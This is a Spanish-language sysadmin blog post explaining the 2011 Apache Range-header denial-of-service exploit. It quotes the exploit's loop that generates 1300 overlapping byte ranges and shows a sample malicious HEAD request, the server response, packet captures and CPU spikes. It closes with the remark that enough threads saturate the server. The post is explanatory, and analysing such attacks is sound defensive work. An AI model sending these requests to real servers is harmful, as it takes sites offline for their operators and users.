systemadmin.es > LAMP y web > Funcionamiento del Ataque DoS del Apache con el header Range

Funcionamiento del Ataque DoS del Apache con el header Range

El ataque de denegación de servicio de Apache mediante el header Range parece ser un método efectivo de tumbar un Apache. Vamos a ver como funciona.

El exploit simplemente se dedicar a mandar muchas peticiones con muchos rangos en el header Range, los genera con:

$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

Para que el servidor web pueda mandar partes del recurso que se solicita deberemos hacerlo con un recurso que de un 200 (el recurso exista). El exploit en cuestión no deja especificarlo, pero se puede moficicar muy fácilmente.

La peticiones contra un recurso existente, en este caso /, se hacen como la siguiente:

HEAD / HTTP/1.1
Host: systemadmin.es
Range:bytes=0-,5-0,5-1,5-2,5-3,(...),5-1298,5-1299
Accept-Encoding: gzip
Connection: close

Evidentemente el header Range lo he recortado con unos de ejemplo para dar la idea. La respuesta del servidor web es igual de inofensiva:

HTTP/1.0 206 Partial Content
Date: Thu, 25 Aug 2011 19:13:12 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 142480
Connection: close
Content-Type: multipart/byteranges; boundary=4ab51ad21d3a77e01

Al ser un HEAD y no un GET, no hay prácticamente tráfico hacia el atacante, por lo que puede pasar muy desapercibido. Si nos fijamos en el tiempo que tarda en contestar veremos que tampoco es exagerado:

1259	0.297562	10.10.10.69	111.111.111.11	TCP	http > 61713 [ACK] Seq=1 Ack=8097 Win=23360 Len=0
1580	0.847523	10.10.10.69	111.111.111.11	TCP	[TCP segment of a reassembled PDU]

Pero si nos fijamos en la CPU podemos apreciar como se dispara:

19:54:30 PM  CPU   %user   %nice    %sys %iowait    %irq   %soft  %steal   %idle    intr/s
19:54:30 PM  all   17.25    0.00    2.00    0.75    0.00    0.00    0.00   80.00   1454.55
19:54:31 PM  all   17.96    0.00    1.25    1.25    0.00    0.50    0.00   79.05   1314.85
19:54:32 PM  all   24.56    0.00    1.25    0.75    0.00    0.25    0.00   73.18   1883.84
19:54:33 PM  all   21.98    0.00    3.86    0.97    0.00    0.48    0.00   72.71   2826.92
19:54:34 PM  all   91.02    0.00    8.48    0.00    0.00    0.25    0.00    0.25   2368.00
19:54:35 PM  all   61.75    0.00    4.50    0.00    0.00    0.25    0.00   33.50   2518.00
19:54:36 PM  all   11.47    0.00    1.00    0.50    0.00    0.25    0.00   86.78   1272.00
19:54:37 PM  all   15.50    0.00    0.75    0.25    0.00    0.00    0.00   83.50   1346.00

En el caso que lancemos únicamente 50 threads una única vez podemos ver como de efectivo es:

Peticiones con el Header Range contra un Apache

Peticiones con el Header Range contra un Apache

Si lanzamos continuamente un número alto de peticiones con el header Range podemos llegar a saturar el servidor. Únicamente nos hace falta encontrar un valor de threads para que el ataque sea completamente efectivo y sature el servidor.

One comment to “Funcionamiento del Ataque DoS del Apache con el header Range”

  1. +1!

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>